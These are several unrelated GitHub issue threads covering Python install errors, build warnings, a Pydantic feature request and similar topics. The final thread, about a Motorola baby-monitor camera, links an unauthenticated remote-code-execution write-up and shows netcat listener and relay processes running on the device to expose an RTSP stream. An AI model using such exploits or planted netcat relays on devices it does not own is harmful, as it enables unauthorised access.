  Using cached https://files.pythonhosted.org/packages/16/8a/1fc3dba0c4923c2a76e1ff0d52b305c44606da63f718d14d3231e21c51b0/s3transfer-0.2.1-py2.py3-none-any.whl
Requirement already satisfied: decorator>=4.3.0 in /usr/lib/python3.7/site-packages (from networkx~=2.3->rasa~=1.2.5->rasa-x) (4.3.0)
Collecting cycler>=0.10 (from matplotlib~=3.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/f7/d2/e07d3ebb2bd7af696440ce7e754c59dd546ffe1bbe732c8ab68b9c834e61/cycler-0.10.0-py2.py3-none-any.whl
Collecting kiwisolver>=1.0.1 (from matplotlib~=3.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/93/f8/518fb0bb89860eea6ff1b96483fbd9236d5ee991485d0f3eceff1770f654/kiwisolver-1.1.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting greenlet>=0.4.14; platform_python_implementation == "CPython" (from gevent~=1.4->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/9d/ef/ac10aa1293f64939e4511909c570d969566126214af5dd7ba0afd353d88b/greenlet-0.4.15-cp37-cp37m-manylinux1_x86_64.whl
Collecting PyYAML>=3.11 (from pykwalify~=1.7.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/e3/e8/b3212641ee2718d556df0f23f78de8303f068fe29cdaa7a91018849582fe/PyYAML-5.1.2.tar.gz
Collecting docopt>=0.6.2 (from pykwalify~=1.7.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/a2/55/8f8cab2afd404cf578136ef2cc5dfb50baa1761b68c9da1fb1e4eed343c9/docopt-0.6.2.tar.gz
Collecting websocket-client<0.55.0,>=0.35 (from slackclient~=1.3->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/26/2d/f749a5c82f6192d77ed061a38e02001afcba55fe8477336d26a950ab17ce/websocket_client-0.54.0-py2.py3-none-any.whl
Collecting requests-toolbelt (from webexteamssdk~=1.1->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/60/ef/7681134338fc097acef8d9b2f8abe0458e4d87559c689a8c306d0957ece5/requests_toolbelt-0.9.1-py2.py3-none-any.whl
Collecting tabulate (from sklearn-crfsuite~=0.3.6->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/c2/fd/202954b3f0eb896c53b7b6f07390851b1fd2ca84aa95880d7ae4f434c4ac/tabulate-0.8.3.tar.gz
Collecting python-crfsuite>=0.8.3 (from sklearn-crfsuite~=0.3.6->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/da/05/5cd3eb8dbbe3c787e3cf84d5767d95198298f7951bf8e40c46ebd8c80a32/python_crfsuite-0.9.6-cp37-cp37m-manylinux1_x86_64.whl
Requirement already satisfied: pysocks; python_version >= "3.0" in /usr/lib/python3.7/site-packages (from twilio~=6.0->rasa~=1.2.5->rasa-x) (1.6.8)
Collecting gast>=0.2.0 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/4d/17/a92e707853e2fb48aea76dcdc200ea9a2f7d1ce6d1eff07ddfcf326184cb/gast-0.3.1.tar.gz
Collecting keras-preprocessing>=1.0.5 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/28/6a/8c1f62c37212d9fc441a7e26736df51ce6f0e38455816445471f10da4f0a/Keras_Preprocessing-1.1.0-py2.py3-none-any.whl
Collecting tensorflow-estimator<1.14.0rc0,>=1.13.0 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/bb/48/13f49fc3fa0fdf916aa1419013bb8f2ad09674c275b4046d5ee669a46873/tensorflow_estimator-1.13.0-py2.py3-none-any.whl
Collecting wheel>=0.26 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/00/83/b4a77d044e78ad1a45610eb88f745be2fd2c6d658f9798a15e384b7d57c9/wheel-0.33.6-py2.py3-none-any.whl
Collecting tensorboard<1.14.0,>=1.13.0 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/0f/39/bdd75b08a6fba41f098b6cb091b9e8c7a80e1b4d679a581a0ccd17b10373/tensorboard-1.13.1-py3-none-any.whl
Collecting absl-py>=0.1.6 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/3c/0d/7cbf64cac3f93617a2b6b079c0182e4a83a3e7a8964d3b0cc3d9758ba002/absl-py-0.8.0.tar.gz
Collecting grpcio>=1.8.6 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/e5/27/1f908ebb99c8d48a5ba4eb9d7997f5633b920d98fe712f67aaa0663f1307/grpcio-1.23.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting protobuf>=3.6.1 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/30/fd/60ce148d8e4205bdf6da4ffec31348fd33f710c20a882b44319d54fd51ae/protobuf-3.9.1-cp37-cp37m-manylinux1_x86_64.whl
Collecting termcolor>=1.1.0 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/8a/48/a76be51647d0eb9f10e2a4511bf3ffb8cc1e6b14e9e4fab46173aa79f981/termcolor-1.1.0.tar.gz
Collecting keras-applications>=1.0.6 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/71/e3/19762fdfc62877ae9102edf6342d71b28fbfd9dea3d2f96a882ce099b03f/Keras_Applications-1.0.8-py3-none-any.whl
Collecting astor>=0.6.0 (from tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/d1/4f/950dfae467b384fc96bc6469de25d832534f6b4441033c39f914efd13418/astor-0.8.0-py2.py3-none-any.whl
Collecting ConfigArgParse~=0.14 (from rasa-sdk~=1.2.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/55/ea/f0ade52790bcd687127a302b26c1663bf2e0f23210d5281dbfcd1dfcda28/ConfigArgParse-0.14.0.tar.gz
Collecting flask~=1.0 (from rasa-sdk~=1.2.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/9b/93/628509b8d5dc749656a9641f4caf13540e2cdec85276964ff8f43bbb1d3b/Flask-1.1.1-py2.py3-none-any.whl
Collecting flask-cors~=3.0 (from rasa-sdk~=1.2.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/78/38/e68b11daa5d613e3a91e4bf3da76c94ac9ee0d9cd515af9c1ab80d36f709/Flask_Cors-3.0.8-py2.py3-none-any.whl
Collecting sortedcontainers (from fakeredis~=1.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/13/f3/cf85f7c3a2dbd1a515d51e1f1676d971abe41bba6f4ab5443240d9a78e5b/sortedcontainers-2.1.0-py2.py3-none-any.whl
Requirement already satisfied: MarkupSafe>=0.9.2 in /usr/lib64/python3.7/site-packages (from Mako->alembic~=1.0.10->rasa-x) (1.1.1)
Collecting wcwidth (from prompt-toolkit~=2.0->questionary>=1.1.0->rasa-x)
  Using cached https://files.pythonhosted.org/packages/7e/9f/526a6947247599b084ee5232e4f9190a38f398d7300d866af3ab571a5bfe/wcwidth-0.1.7-py2.py3-none-any.whl
Requirement already satisfied: asn1crypto>=0.21.0 in /usr/lib/python3.7/site-packages (from cryptography->python-telegram-bot~=11.0->rasa~=1.2.5->rasa-x) (0.24.0)
Requirement already satisfied: cffi!=1.11.3,>=1.8 in /usr/lib64/python3.7/site-packages (from cryptography->python-telegram-bot~=11.0->rasa~=1.2.5->rasa-x) (1.11.5)
Collecting docutils<0.16,>=0.10 (from botocore<1.13.0,>=1.12.227->boto3~=1.9->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/22/cd/a6aa959dca619918ccb55023b4cb151949c64d4d5d55b3f4ffd7eee0c6e8/docutils-0.15.2-py3-none-any.whl
Collecting mock>=2.0.0 (from tensorflow-estimator<1.14.0rc0,>=1.13.0->tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/05/d2/f94e68be6b17f46d2c353564da56e6fb89ef09faeeff3313a046cb810ca9/mock-3.0.5-py2.py3-none-any.whl
Collecting werkzeug>=0.11.15 (from tensorboard<1.14.0,>=1.13.0->tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/b7/61/c0a1adf9ad80db012ed7191af98fa05faa95fa09eceb71bb6fa8b66e6a43/Werkzeug-0.15.6-py2.py3-none-any.whl
Collecting markdown>=2.6.8 (from tensorboard<1.14.0,>=1.13.0->tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/c0/4e/fd492e91abdc2d2fcb70ef453064d980688762079397f779758e055f6575/Markdown-3.1.1-py2.py3-none-any.whl
Collecting h5py (from keras-applications>=1.0.6->tensorflow~=1.13.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/3f/c0/abde58b837e066bca19a3f7332d9d0493521d7dd6b48248451a9e3fe2214/h5py-2.10.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting click>=5.1 (from flask~=1.0->rasa-sdk~=1.2.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/fa/37/45185cb5abbc30d7257104c434fe0b07e5a195a6847506c074527aa599ec/Click-7.0-py2.py3-none-any.whl
Collecting Jinja2>=2.10.1 (from flask~=1.0->rasa-sdk~=1.2.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/1d/e7/fd8b501e7a6dfe492a433deb7b9d833d39ca74916fa8bc63dd1a4947a671/Jinja2-2.10.1-py2.py3-none-any.whl
Collecting itsdangerous>=0.24 (from flask~=1.0->rasa-sdk~=1.2.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/76/ae/44b03b253d6fade317f32c24d100b3b35c2239807046a4c953c7b89fa49e/itsdangerous-1.1.0-py2.py3-none-any.whl
Requirement already satisfied: pycparser in /usr/lib/python3.7/site-packages (from cffi!=1.11.3,>=1.8->cryptography->python-telegram-bot~=11.0->rasa~=1.2.5->rasa-x) (2.14)
Installing collected packages: tzlocal, apscheduler, simplejson, pika, certifi, requests, future, python-telegram-bot, attrs, python-engineio, python-socketio, SQLAlchemy, colorhash, aiofiles, websockets, uvloop, httptools, ujson, multidict, sanic, wcwidth, prompt-toolkit, questionary, numpy, pymongo, humanfriendly, coloredlogs, jsonschema, mattermostwrapper, pyparsing, pydot, jmespath, docutils, botocore, s3transfer, boto3, rocketchat-API, networkx, scipy, cycler, kiwisolver, matplotlib, greenlet, gevent, sanic-plugins-framework, sanic-cors, kafka-python, PyYAML, docopt, pykwalify, terminaltables, websocket-client, slackclient, requests-toolbelt, webexteamssdk, yarl, async-timeout, aiohttp, tqdm, tabulate, python-crfsuite, sklearn-crfsuite, fbmessenger, pyjwt, twilio, ruamel.yaml, sanic-jwt, scikit-learn, gast, keras-preprocessing, absl-py, mock, tensorflow-estimator, wheel, grpcio, protobuf, werkzeug, markdown, tensorboard, termcolor, h5py, keras-applications, astor, tensorflow, redis, ConfigArgParse, click, Jinja2, itsdangerous, flask, flask-cors, rasa-sdk, jsonpickle, packaging, sortedcontainers, fakeredis, colorclass, async-generator, rasa, isodate, setuptools-scm, python-editor, alembic, rasa-x
  Running setup.py install for simplejson ... done
  Running setup.py install for future ... done
  Running setup.py install for SQLAlchemy ... done
  Running setup.py install for httptools ... error
    Complete output from command /home/sdmarth/Rasa/venv/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-_afe6pd6/httptools/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-record-wufkqaur/install-record.txt --single-version-externally-managed --compile --install-headers /home/sdmarth/Rasa/venv/include/site/python3.7/httptools:
    running install
    running build
    running build_py
    creating build
    creating build/lib.linux-x86_64-3.7
    creating build/lib.linux-x86_64-3.7/httptools
    copying httptools/__init__.py -> build/lib.linux-x86_64-3.7/httptools
    creating build/lib.linux-x86_64-3.7/httptools/parser
    copying httptools/parser/errors.py -> build/lib.linux-x86_64-3.7/httptools/parser
    copying httptools/parser/__init__.py -> build/lib.linux-x86_64-3.7/httptools/parser
    running egg_info
    writing httptools.egg-info/PKG-INFO
    writing dependency_links to httptools.egg-info/dependency_links.txt
    writing top-level names to httptools.egg-info/top_level.txt
    reading manifest file 'httptools.egg-info/SOURCES.txt'
    reading manifest template 'MANIFEST.in'
    writing manifest file 'httptools.egg-info/SOURCES.txt'
    copying httptools/parser/parser.c -> build/lib.linux-x86_64-3.7/httptools/parser
    running build_ext
    building 'httptools.parser.parser' extension
    creating build/temp.linux-x86_64-3.7
    creating build/temp.linux-x86_64-3.7/httptools
    creating build/temp.linux-x86_64-3.7/httptools/parser
    creating build/temp.linux-x86_64-3.7/vendor
    creating build/temp.linux-x86_64-3.7/vendor/http-parser
    gcc -pthread -Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -O2 -g -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -fexceptions -fstack-protector-strong -grecord-gcc-switches -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -fPIC -I/home/sdmarth/Rasa/venv/include -I/usr/include/python3.7m -c httptools/parser/parser.c -o build/temp.linux-x86_64-3.7/httptools/parser/parser.o -O2
    httptools/parser/parser.c:4:10: fatal error: Python.h: No such file or directory
        4 | #include "Python.h"
          |          ^~~~~~~~~~
    compilation terminated.
    error: command 'gcc' failed with exit status 1

    ----------------------------------------
Command "/home/sdmarth/Rasa/venv/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-_afe6pd6/httptools/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-record-wufkqaur/install-record.txt --single-version-externally-managed --compile --install-headers /home/sdmarth/Rasa/venv/include/site/python3.7/httptools" failed with error code 1 in /tmp/pip-install-_afe6pd6/httptools/
You are using pip version 19.0.3, however version 19.2.3 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

Command or request that led to error:
pip install rasa-x --extra-index-url https://pypi.rasa.com/simple

Content of configuration file (config.yml) (if relevant):

Content of domain file (domain.yml) (if relevant):

Thanks for the issue, @federicotdn will get back to you about it soon!
You may find help in the docs and the forum, too 🤗

Ensure that you have the python development package installed.
sudo apt-get install python-dev

Just tried to install as well and got a similar error. I am running Ubuntu 19.10, python3, pip3, python3-dev

please make sure to follow @dsmackie suggestion. I don't think there is anything we can do about this.

I have created rasa installation videos using ubuntu,windows and docker at
https://www.youtube.com/watch?v=SKt8hO89X-I&list=PL3rAaHySgv9AvVXGwBCDww8jCoqQDmvkq


Package request: cromite

Project description
Cromite is a Chromium fork based on Bromite with built-in support for ad blocking and an eye for privacy.
Metadata

homepage URL: https://www.cromite.org/
source URL: https://github.com/uazo/cromite
license: gpl3
platforms: unix

Would be nice! Was thinking about replacing Brave with this on my system after learning it actually has a confident builtin adblocker and has less I guess random stuff added in


properly rounded icons for macOS

These icons are properly rounded per Apple's specifications for macOS icons. These include all the necessary px dimensions.

Yo we have to make changes like this PR:
https://github.com/trypear/pearai-app/pull/166/files
there is an icns and the paths are different

Names of files, sizes and locations are not correct


Create a Nexmo signup hyperlink

I’ve created a hyperlink, so now the reader of the README can just click the hyperlink and is immediately taken to the Nexmo signup website.

Pull Request Test Coverage Report for Build 311

0 of 0   changed or added relevant lines in 0 files are covered.
2 unchanged lines in 1 file lost coverage.
Overall coverage remained the same at 100.0%

Files with Coverage Reduction
New Missed Lines
%

nexmo/init.py
2
100.0%

Totals

Change from base Build 307:
0.0%

Covered Lines:
299

Relevant Lines:
299

💛  - Coveralls

Pull Request Test Coverage Report for Build 311

0 of 0   changed or added relevant lines in 0 files are covered.
2 unchanged lines in 1 file lost coverage.
Overall coverage remained the same at 100.0%

Files with Coverage Reduction
New Missed Lines
%

nexmo/init.py
2
100.0%

Totals

Change from base Build 307:
0.0%

Covered Lines:
299

Relevant Lines:
299

💛  - Coveralls

The link already goes direct to signup.
We're using the [text][footnote] Markdown link form instead of text. The link itself is the second-to-last line of the README:
[signup]: https://dashboard.nexmo.com/sign-up?utm_source=DEV_REL&utm_medium=github&utm_campaign=python-client-library


80 extract database configuration in environment variables

you forgor to delete the properties files

you forgor to delete the properties files

Florgotr* ;)


Warnings when execute make command with modsecurity2.9.3

These are  warnings when I execute make command with modsecurity2.9.3:
libtool: compile:  gcc -DHAVE_CONFIG_H -I. -I../apache2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -DVERSION_NGINX -I/usr/include/apr-1 -I/usr/include/apr-1 -I/usr/include/httpd -DWITH_CURL -I/usr/include/libxml2 -DWITH_PCRE_STUDY -DMODSEC_PCRE_MATCH_LIMIT=1500 -DMODSEC_PCRE_MATCH_LIMIT_RECURSION=1500 -DREQUEST_EARLY -DWITH_APU_CRYPTO -DWITH_REMOTE_RULES -g -O2 -I/usr/include/apr-1 -MT standalone_la-config.lo -MD -MP -MF .deps/standalone_la-config.Tpo -c config.c  -fPIC -DPIC -o .libs/standalone_la-config.o
config.c: In function ‘process_command_config’:
config.c:1107:5: warning: passing argument 1 of ‘apr_filepath_root’ from incompatible pointer type [enabled by default]
     status = apr_filepath_root(&rootpath, &incpath, APR_FILEPATH_TRUENAME | APR_FILEPATH_NATIVE, ptemp);
In file included from /usr/include/apr-1/apr_file_io.h:29:0,
                 from /usr/include/apr-1/apr_network_io.h:26,
                 from /usr/include/apr-1/apr_buckets.h:29,
                 from /usr/include/httpd/util_filter.h:26,
                 from /usr/include/httpd/http_core.h:32,
                 from config.c:18:
/usr/include/apr-1/apr_file_info.h:336:27: note: expected ‘const char **’ but argument is of type ‘char **’
 APR_DECLARE(apr_status_t) apr_filepath_root(const char **rootpath,
config.c:1107:5: warning: passing argument 2 of ‘apr_filepath_root’ from incompatible pointer type [enabled by default]
     status = apr_filepath_root(&rootpath, &incpath, APR_FILEPATH_TRUENAME | APR_FILEPATH_NATIVE, ptemp);
In file included from /usr/include/apr-1/apr_file_io.h:29:0,
                 from /usr/include/apr-1/apr_network_io.h:26,
                 from /usr/include/apr-1/apr_buckets.h:29,
                 from /usr/include/httpd/util_filter.h:26,
                 from /usr/include/httpd/http_core.h:32,
                 from config.c:18:
/usr/include/apr-1/apr_file_info.h:336:27: note: expected ‘const char **’ but argument is of type ‘char **’
 APR_DECLARE(apr_status_t) apr_filepath_root(const char **rootpath,
All commands executed are：
yum install -y gcc make libxml2 libxml2-devel httpd-devel pcre-devel curl-devel libtool
tar -zxvf modsecurity-2.9.3
cd modsecurity-2.9.3
./configure --enable-standalone-module --disable-mlogc
make

Hi @prince-java,
Is that actually an error or just a warning message?

@zimmerle
Thank you for reply.It's just a warning message,such as:
/usr/include/apr-1/apr_file_info.h:336:27: note: expected ‘const char **’ but argument is of type ‘char **

That is not comfortable, however I believe it to be quite common in v2.x.


Runtime error with bumblebee optirun dynamicuda opencv-2.4.11

Hi,
this is related to
https://github.com/Itseez/opencv/issues/5557
I have installed their succesfully opencv-2.4.11 on OpenSUSE 13.2 on an optimus Laptop. I can compile programs successfully with Cuda 7.5 on a cuda 5.0 capable device. I need to run compiled programs with
optimus programname
Nevertheless i have  always to run Qt compiled programs outside of Qt with optirun to test but it won't even work. It throws out this runtimeerror ever and ever again with and without Qt.
OpenCV Error: No GPU support (The library is compiled without CUDA support) in mallocPitch, file /home/abuild/rpmbuild/BUILD/opencv-2.4.9/modules/dynamicuda/include/opencv2/dynamicuda/dynamicuda.hpp, line 126
Error: /home/abuild/rpmbuild/BUILD/opencv-2.4.9/modules/dynamicuda/include/opencv2/dynamicuda/dynamicuda.hpp:126: error: (-216) The library is compiled without CUDA support in function mallocPitch
Running programs without optirun returns me this error.
OpenCV Error: Gpu API call (no CUDA-capable device is detected) in mallocPitch, file /home/peter/programs/opencv-2.4.11/modules/dynamicuda/include/opencv2/dynamicuda/dynamicuda.hpp, line 1134
Error: /home/peter/programs/opencv-2.4.11/modules/dynamicuda/include/opencv2/dynamicuda/dynamicuda.hpp:1134: error: (-217) no CUDA-capable device is detected in function mallocPitch
There it points to 2.4.11 subdirectories.
The second thing i want to figure out is that it runs with
primusrun program
but just with less performance..
This cuda related issues will kill me anytimes.
Thx Peter

Why open up a new issue for completely the same problem?

It is a different problem and it is solved. This was a runtime error. The other one has had problems with the compilation especially the separated compilation. This here could be easely handled if you take a look whether not other older opencv libs are already installed. After deinstall and block the rpm package it works.


Standard complex number not supported!?

Initial Checks

[X] I confirm that I'm using Pydantic V2

Description
It seems that the standard number type complex is not supported.
The code example below yields:
Traceback (most recent call last):
  File "/opt/pycharm-community/plugins/python-ce/helpers/pydev/pydevconsole.py", line 364, in runcode
    coro = func()
  File "<input>", line 1, in <module>
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_model_construction.py", line 182, in __new__
    complete_model_class(
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_model_construction.py", line 491, in complete_model_class
    schema = cls.__get_pydantic_core_schema__(cls, handler)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/main.py", line 578, in __get_pydantic_core_schema__
    return __handler(__source)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_schema_generation_shared.py", line 82, in __call__
    schema = self._handler(__source_type)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 468, in generate_schema
    schema = self._generate_schema(obj)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 700, in _generate_schema
    schema = self._post_process_generated_schema(self._generate_schema_inner(obj))
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 722, in _generate_schema_inner
    return self._model_schema(obj)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 541, in _model_schema
    {k: self._generate_md_field_schema(k, v, decorators) for k, v in fields.items()},
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 541, in <dictcomp>
    {k: self._generate_md_field_schema(k, v, decorators) for k, v in fields.items()},
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 886, in _generate_md_field_schema
    common_field = self._common_field_schema(name, field_info, decorators)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 951, in _common_field_schema
    schema = self._apply_annotations(
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 1654, in _apply_annotations
    schema = get_inner_schema(source_type)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_schema_generation_shared.py", line 82, in __call__
    schema = self._handler(__source_type)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 1635, in inner_handler
    schema = self._generate_schema(obj)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 700, in _generate_schema
    schema = self._post_process_generated_schema(self._generate_schema_inner(obj))
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 727, in _generate_schema_inner
    return self.match_type(obj)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 814, in match_type
    return self._unknown_type_schema(obj)
  File "/home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic/_internal/_generate_schema.py", line 366, in _unknown_type_schema
    raise PydanticSchemaGenerationError(
pydantic.errors.PydanticSchemaGenerationError: Unable to generate pydantic-core schema for <class 'complex'>. Set `arbitrary_types_allowed=True` in the model_config to ignore this error or implement `__get_pydantic_core_schema__` on your type to fully support it.

If you got this error by calling handler(<some type>) within `__get_pydantic_core_schema__` then you likely need to call `handler.generate_schema(<some type>)` since we do not call `__get_pydantic_core_schema__` on `<some type>` otherwise to avoid infinite recursion.

For further information visit https://errors.pydantic.dev/2.5/u/schema-for-unknown-type

Example Code
from pydantic import BaseModel

class Model(BaseModel):
     number: complex

Python, Pydantic & OS Version
pydantic version: 2.5.3
        pydantic-core version: 2.14.6
          pydantic-core build: profile=release pgo=true
                 install path: /home/ad/gemseo-oss/.tox/py39/lib/python3.9/site-packages/pydantic
               python version: 3.9.18 (main, Dec 18 2023, 00:00:00)  [GCC 13.2.1 20231205 (Red Hat 13.2.1-6)]
                     platform: Linux-6.6.9-200.fc39.x86_64-x86_64-with-glibc2.38
             related packages: typing_extensions-4.9.0

I've always wondered when someone would ask this, now that have.
PR welcome to support it.

I've always wondered when someone would ask this, now that have.
PR welcome to support it.

I may try to do this, should this be on pydantic-core side?

@AntoineD,
It will require changes to both pydantic and pydantic-core. You'll have to construct the schema for the type in pydantic, then build validation and serialization logic in pydantic-core.

Hi, this is the workaround that I use:
from typing_extensions import Annotated

from pydantic import PlainValidator, PlainSerializer

Complex = Annotated[
    complex,
    PlainValidator(lambda x: x if isinstance(x, complex)
                   else complex(x.get('real', x.get('imag')))),
    PlainSerializer(lambda x: {'real': x.real, 'imag': x.imag}, return_type=dict)
]

Is there a better way to do this ?

Hi @sydney-runkle, I'm interested in working on this issue and looking into the codebase now. While I ramp up myself, I'd like to discuss some design details with you.
Since there is no official consensus on how a complex number should be serialised, I'm thinking of expressing it as a dictionary with two keys, real and imag, which matches the field names of the complex type in python.
The goal is to make something like this example work:
import pydantic

from pydantic import BaseModel

class Model(BaseModel):
    number: complex

m = Model(number=complex(1, 2))
assert repr(m) == "Model(number=(1+2j))"
assert m.dict() == {'number': complex(1, 2)}
assert m.json() == '{"number":{"real":1,"imag":2}}'
...

Does this make sense?

@changhc,
Thanks for your interest. That approach sounds great! I'd recommend using V2 syntax though, so you'll want to use model_dump and model_dump_json.

Hi @sydney-runkle, I'm interested in working on this issue and looking into the codebase now. While I ramp up myself, I'd like to discuss some design details with you.

Hey @changhc, is this still WIP?
Just checking that, in case it's not, this would be an interesting task to work on.

Hi @mikeleppane, yes it's still WIP. I have some functioning code right now, but I'm still checking if I missed out anything.


Rewriting Mysql test and checking it

Fixing problem in the TCP based protocol evaluation (application discovery was not executed when presentation layer did not exists)
Re-implementing MySQL discovery (TODO: handle protocol over TLS)
Fixing session layer discovery to hold TCP
Minor test fix - waiting for service to be up

Hey!
I think the first point was already addressed earlier #7 ( Check commit message ) and merged, not sure if it's still causing the problem!!
Would it be a good idea to include tcp in session layer as by definition it comes in transport layer and is a protocol?


problem with MBP85C camera

HI,
all worked fine for me in last 6 months, but from about 1 month these links:
http://<IP_ADDRESS>/-wvhttp-01-/video.cgi
http://<IP_ADDRESS>/cgi/jpg/image.cgi
don't work for my MBP85C webcam.
can you help me?

I managed to get RTSP without downgrading the firmware if anyone is still interested.
https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/

Thanks for that! Struggeling to get working at the min
ps shows
 4638 root       820 S    nc <IP_ADDRESS> 6667
 4639 root       820 S    nc -l -p 6668

Netstat shows

tcp        0      0 <IP_ADDRESS>:6667          <IP_ADDRESS>:*               LISTEN      820/msloader
tcp        0      0 <IP_ADDRESS>:6668            <IP_ADDRESS>:*               LISTEN      4737/nc

but
ffplay rtsp://user:pass@ip:6668/blinkhd
Just seems to hang
Any suggestions?

Command was wrong
ffmpeg -rtsp_transport tcp rtsp://user:pass@ip:6668/blinkhd
is the correct command

Did you get video out okay with your command? Just interested to know if it worked for you.
To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.
ffmpeg  -rtsp_transport tcp -i 'rtsp://user:pass@cam.lan:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec libmp3lame -b:a 128k -method HEAD  -f mpegts http://:55555
or
#!/bin/bash
ffmpeg  -rtsp_transport tcp -i 'rtsp://user:pass@cam.lan:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec
libmp3lame -b:a 128k  -f mpegts  http://localhost:55554 &
sleep 10
cvlc 'http://localhost:55554'  :network-caching=1000 --sout "#transcode{acodec=mp3,ab=128}:standard{access=http,mux=ts,dst=:55555}" --sout-keep
Maybe worth nothing to you..just thought I'd mention.

thanks.
very strange, but for me it doesn't work...
I only see this in netstat:
tcp        0      0 <IP_ADDRESS>:6667          <IP_ADDRESS>:*               LISTEN      820/msloader
I don't have also this:
